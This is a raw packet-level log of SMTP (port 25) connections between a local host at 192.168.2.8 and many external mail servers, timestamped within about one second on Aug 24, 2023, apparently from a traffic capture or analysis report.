Aug 24, 2023 19:03:33.851772070 CEST	25	49995	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.851859093 CEST	49995	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:33.856303930 CEST	50000	25	192.168.2.8	80.12.126.182
Aug 24, 2023 19:03:33.858896017 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:33.876166105 CEST	25	49996	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.876426935 CEST	49996	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:33.880671024 CEST	25	49989	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:33.881818056 CEST	25	49989	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:33.882494926 CEST	25	49991	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:33.882906914 CEST	25	49989	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:33.883004904 CEST	49989	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:33.887921095 CEST	25	50000	80.12.126.182	192.168.2.8
Aug 24, 2023 19:03:33.888089895 CEST	50000	25	192.168.2.8	80.12.126.182
Aug 24, 2023 19:03:33.901459932 CEST	25	49985	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:33.911151886 CEST	25	49976	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.919574976 CEST	25	49993	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:33.920303106 CEST	25	49993	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:33.922878981 CEST	25	49981	209.71.208.7	192.168.2.8
Aug 24, 2023 19:03:33.923073053 CEST	49981	25	192.168.2.8	209.71.208.7
Aug 24, 2023 19:03:33.923979998 CEST	49989	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:33.924551010 CEST	49985	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:33.925167084 CEST	49993	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:33.930290937 CEST	50001	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:33.938028097 CEST	50002	25	192.168.2.8	150.136.204.204
Aug 24, 2023 19:03:33.954159021 CEST	25	49998	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:33.954370022 CEST	49998	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:33.957601070 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.957870007 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.960607052 CEST	25	49980	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.961374044 CEST	25	49974	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.961503983 CEST	49974	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.966367006 CEST	25	49984	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.966418028 CEST	25	49984	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.966789007 CEST	49984	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.975110054 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.986948013 CEST	25	49999	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:33.987257957 CEST	49999	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:33.994652033 CEST	25	49996	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.994838953 CEST	49996	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.004303932 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:34.004900932 CEST	49994	25	192.168.2.8	216.71.132.58
Aug 24, 2023 19:03:34.014233112 CEST	50003	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:34.017169952 CEST	25	49938	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:34.017565966 CEST	49938	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:34.018882990 CEST	25	49997	34.218.149.231	192.168.2.8
Aug 24, 2023 19:03:34.019104004 CEST	49997	25	192.168.2.8	34.218.149.231
Aug 24, 2023 19:03:34.020668030 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.027034044 CEST	25	49995	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.027247906 CEST	49995	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:34.031043053 CEST	25	49989	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:34.033982992 CEST	50004	25	192.168.2.8	68.232.143.80
Aug 24, 2023 19:03:34.035779953 CEST	25	49981	209.71.208.7	192.168.2.8
Aug 24, 2023 19:03:34.035828114 CEST	25	49981	209.71.208.7	192.168.2.8
Aug 24, 2023 19:03:34.035958052 CEST	25	49993	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:34.037223101 CEST	25	49993	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:34.037399054 CEST	49993	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:34.038557053 CEST	25	49993	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:34.038645983 CEST	49993	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:34.049612045 CEST	25	49985	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:34.050575018 CEST	25	49985	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:34.050705910 CEST	49985	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:34.059751987 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.060103893 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.060522079 CEST	25	50002	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:34.060686111 CEST	50002	25	192.168.2.8	150.136.204.204
Aug 24, 2023 19:03:34.063139915 CEST	25	49998	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:34.063303947 CEST	49998	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:34.090316057 CEST	50005	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.104146004 CEST	25	50001	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:34.104243040 CEST	50001	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:34.105005026 CEST	50006	25	192.168.2.8	34.149.79.66
Aug 24, 2023 19:03:34.108743906 CEST	25	49996	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.108807087 CEST	25	49996	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.108935118 CEST	49996	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.113770008 CEST	25	49990	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:34.114130020 CEST	49990	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:34.115844011 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.115905046 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.115930080 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.115952015 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.116004944 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.116034985 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.116064072 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.116080046 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.116097927 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.116117954 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.116147041 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.119924068 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:34.119977951 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:34.120229959 CEST	49994	25	192.168.2.8	216.71.132.58
Aug 24, 2023 19:03:34.120938063 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.121175051 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.122989893 CEST	25	50006	34.149.79.66	192.168.2.8
Aug 24, 2023 19:03:34.123122931 CEST	50006	25	192.168.2.8	34.149.79.66
Aug 24, 2023 19:03:34.123774052 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.124022007 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.133093119 CEST	25	49992	199.58.116.87	192.168.2.8
Aug 24, 2023 19:03:34.133677959 CEST	49992	25	192.168.2.8	199.58.116.87
Aug 24, 2023 19:03:34.136452913 CEST	25	49999	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.136801958 CEST	49999	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:34.144989967 CEST	25	49993	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:34.149460077 CEST	25	49984	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:34.149727106 CEST	49984	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:34.150769949 CEST	25	50003	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:34.150916100 CEST	50003	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:34.162540913 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.162574053 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.162590027 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.162604094 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.162620068 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.162630081 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.162717104 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.162770033 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.162822962 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.163006067 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.163115025 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.163525105 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.163570881 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.163705111 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.163728952 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.163743019 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.163844109 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.163860083 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.163947105 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.163963079 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.164052963 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.164100885 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.173525095 CEST	25	49998	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:34.174246073 CEST	25	49998	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:34.174395084 CEST	49998	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:34.176886082 CEST	49934	25	192.168.2.8	62.24.139.42
Aug 24, 2023 19:03:34.179280996 CEST	25	50002	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:34.179440022 CEST	50002	25	192.168.2.8	150.136.204.204
Aug 24, 2023 19:03:34.183001995 CEST	50007	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:34.188797951 CEST	50008	25	192.168.2.8	216.71.134.52
Aug 24, 2023 19:03:34.189384937 CEST	25	49938	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:34.189475060 CEST	49938	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:34.190231085 CEST	25	49938	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:34.190376043 CEST	49938	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:34.192760944 CEST	49982	25	192.168.2.8	216.108.160.2
Aug 24, 2023 19:03:34.195239067 CEST	25	50004	68.232.143.80	192.168.2.8
Aug 24, 2023 19:03:34.195501089 CEST	50004	25	192.168.2.8	68.232.143.80
Aug 24, 2023 19:03:34.197381973 CEST	25	49995	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.198213100 CEST	25	49995	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.198479891 CEST	49995	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:34.207355022 CEST	25	50005	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.207699060 CEST	50005	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.226130009 CEST	25	49996	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.226380110 CEST	49996	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.238004923 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:34.240288973 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:34.240541935 CEST	49994	25	192.168.2.8	216.71.132.58
Aug 24, 2023 19:03:34.242394924 CEST	25	49990	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:34.242659092 CEST	49990	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:34.248528004 CEST	25	49992	199.58.116.87	192.168.2.8
Aug 24, 2023 19:03:34.248553991 CEST	25	49992	199.58.116.87	192.168.2.8
Aug 24, 2023 19:03:34.248728037 CEST	49992	25	192.168.2.8	199.58.116.87
Aug 24, 2023 19:03:34.249942064 CEST	50009	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.257534027 CEST	50010	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:34.269726038 CEST	25	49999	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.270535946 CEST	25	49999	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.271225929 CEST	49999	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:34.281827927 CEST	25	49998	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:34.282954931 CEST	25	49998	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:34.283988953 CEST	25	49998	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:34.284110069 CEST	49998	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:34.285185099 CEST	49998	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:34.301007032 CEST	25	50000	80.12.126.182	192.168.2.8
Aug 24, 2023 19:03:34.301285982 CEST	50000	25	192.168.2.8	80.12.126.182
Aug 24, 2023 19:03:34.301290989 CEST	25	50000	80.12.126.182	192.168.2.8
Aug 24, 2023 19:03:34.301403046 CEST	50000	25	192.168.2.8	80.12.126.182
Aug 24, 2023 19:03:34.309725046 CEST	25	50008	216.71.134.52	192.168.2.8
Aug 24, 2023 19:03:34.309876919 CEST	50008	25	192.168.2.8	216.71.134.52
Aug 24, 2023 19:03:34.318137884 CEST	25	50007	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.318387985 CEST	50007	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:34.322169065 CEST	25	50005	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.322474003 CEST	50005	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.326060057 CEST	25	49997	34.218.149.231	192.168.2.8
Aug 24, 2023 19:03:34.327280045 CEST	49997	25	192.168.2.8	34.218.149.231
Aug 24, 2023 19:03:34.331432104 CEST	25	49984	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:34.331585884 CEST	49984	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:34.333612919 CEST	25	50000	80.12.126.182	192.168.2.8
Aug 24, 2023 19:03:34.338093042 CEST	50011	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:34.344327927 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.347919941 CEST	25	50002	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:34.355422974 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:34.356726885 CEST	25	50004	68.232.143.80	192.168.2.8
Aug 24, 2023 19:03:34.357793093 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:34.358016968 CEST	49994	25	192.168.2.8	216.71.132.58
Aug 24, 2023 19:03:34.362503052 CEST	25	49992	199.58.116.87	192.168.2.8
Aug 24, 2023 19:03:34.362729073 CEST	49992	25	192.168.2.8	199.58.116.87
Aug 24, 2023 19:03:34.363411903 CEST	25	50009	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.363516092 CEST	50009	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.368546963 CEST	25	49990	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:34.368583918 CEST	25	49995	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.369750977 CEST	25	49995	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.369918108 CEST	49995	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:34.369925022 CEST	49990	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:34.370867014 CEST	25	49995	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.370954990 CEST	49995	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:34.381171942 CEST	25	49996	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.392520905 CEST	25	49998	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:34.394973040 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.404613972 CEST	25	49999	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.404709101 CEST	25	49999	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.404876947 CEST	49999	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:34.404987097 CEST	50013	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.405544996 CEST	49999	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:34.408674002 CEST	25	50006	34.149.79.66	192.168.2.8
Aug 24, 2023 19:03:34.409076929 CEST	50006	25	192.168.2.8	34.149.79.66
Aug 24, 2023 19:03:34.410530090 CEST	25	50006	34.149.79.66	192.168.2.8
Aug 24, 2023 19:03:34.410696030 CEST	50006	25	192.168.2.8	34.149.79.66
Aug 24, 2023 19:03:34.427526951 CEST	25	50003	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:34.427815914 CEST	50003	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:34.429368973 CEST	25	50010	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:34.429651976 CEST	50010	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:34.430644989 CEST	25	50008	216.71.134.52	192.168.2.8
Aug 24, 2023 19:03:34.432440042 CEST	25	50006	34.149.79.66	192.168.2.8
Aug 24, 2023 19:03:34.436052084 CEST	25	50005	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.436093092 CEST	25	50005	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.436345100 CEST	50005	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.441410065 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.441436052 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.441703081 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:34.441895962 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:34.442275047 CEST	25	50008	216.71.134.52	192.168.2.8
Aug 24, 2023 19:03:34.453794003 CEST	25	50007	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.454307079 CEST	50007	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:34.456378937 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.457232952 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.473043919 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:34.473109007 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:34.473135948 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:34.473241091 CEST	49994	25	192.168.2.8	216.71.132.58
Aug 24, 2023 19:03:34.473388910 CEST	49994	25	192.168.2.8	216.71.132.58
Aug 24, 2023 19:03:34.477855921 CEST	25	50009	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.478087902 CEST	50009	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.490468025 CEST	25	49996	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.490539074 CEST	25	49996	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.490593910 CEST	25	49996	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.490709066 CEST	49996	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.490791082 CEST	49996	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.490792036 CEST	49996	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.491508007 CEST	25	49992	199.58.116.87	192.168.2.8
Aug 24, 2023 19:03:34.491576910 CEST	25	49992	199.58.116.87	192.168.2.8
Aug 24, 2023 19:03:34.491708040 CEST	49992	25	192.168.2.8	199.58.116.87
Aug 24, 2023 19:03:34.491961956 CEST	49992	25	192.168.2.8	199.58.116.87
Aug 24, 2023 19:03:34.495376110 CEST	25	49990	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:34.496040106 CEST	49990	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:34.497602940 CEST	50014	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.509264946 CEST	25	50011	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.510019064 CEST	50011	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:34.512449026 CEST	25	49997	34.218.149.231	192.168.2.8
Aug 24, 2023 19:03:34.512501001 CEST	25	49997	34.218.149.231	192.168.2.8
Aug 24, 2023 19:03:34.512773037 CEST	49997	25	192.168.2.8	34.218.149.231
Aug 24, 2023 19:03:34.518301010 CEST	25	50013	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.518551111 CEST	50013	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.521344900 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.521344900 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.521482944 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.521482944 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.521482944 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.521548986 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.521656036 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.521656036 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.521656036 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.521781921 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.521781921 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.538341999 CEST	25	49999	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.540075064 CEST	25	49995	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.545480013 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.545773983 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.546004057 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.546900034 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.551837921 CEST	25	50005	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.552138090 CEST	50005	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.561397076 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.563978910 CEST	25	50003	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:34.564143896 CEST	25	50003	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:34.564475060 CEST	50003	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:34.584815979 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.585005999 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.585149050 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.585242987 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.588459969 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:34.589252949 CEST	25	50007	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.589287043 CEST	25	50007	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.589589119 CEST	50007	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:34.591620922 CEST	25	50009	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.591697931 CEST	25	50009	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.591849089 CEST	50009	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.595455885 CEST	50015	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:34.604763985 CEST	25	49996	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.605499983 CEST	25	49992	199.58.116.87	192.168.2.8
Aug 24, 2023 19:03:34.611270905 CEST	25	50014	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.611443043 CEST	50014	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.614392996 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.620467901 CEST	25	49990	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:34.621619940 CEST	25	49990	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:34.621762991 CEST	49990	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:34.623886108 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.625612020 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.632714987 CEST	25	50013	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.632987022 CEST	50013	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.649204969 CEST	25	50002	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:34.649246931 CEST	25	50002	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:34.676048040 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.676254988 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.682410002 CEST	25	50011	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.682626963 CEST	50011	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:34.682822943 CEST	50016	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:34.684437990 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:34.684489965 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:34.684561968 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:34.689937115 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:34.700639009 CEST	25	50003	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:34.700700045 CEST	25	50003	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:34.700876951 CEST	50003	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:34.703866005 CEST	25	49997	34.218.149.231	192.168.2.8
Aug 24, 2023 19:03:34.704504013 CEST	49997	25	192.168.2.8	34.218.149.231
Aug 24, 2023 19:03:34.705559969 CEST	25	50009	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.705689907 CEST	50009	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.707556963 CEST	25	50005	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.723339081 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:34.725192070 CEST	25	50007	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.725461960 CEST	25	50007	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.725843906 CEST	50007	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:34.725843906 CEST	50007	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:34.725878954 CEST	25	50014	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.726382017 CEST	50014	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.739538908 CEST	49949	25	192.168.2.8	205.193.122.69
Aug 24, 2023 19:03:34.740840912 CEST	50017	25	192.168.2.8	67.231.151.88
Aug 24, 2023 19:03:34.746304035 CEST	25	50013	17.57.156.30	192.168.2.8
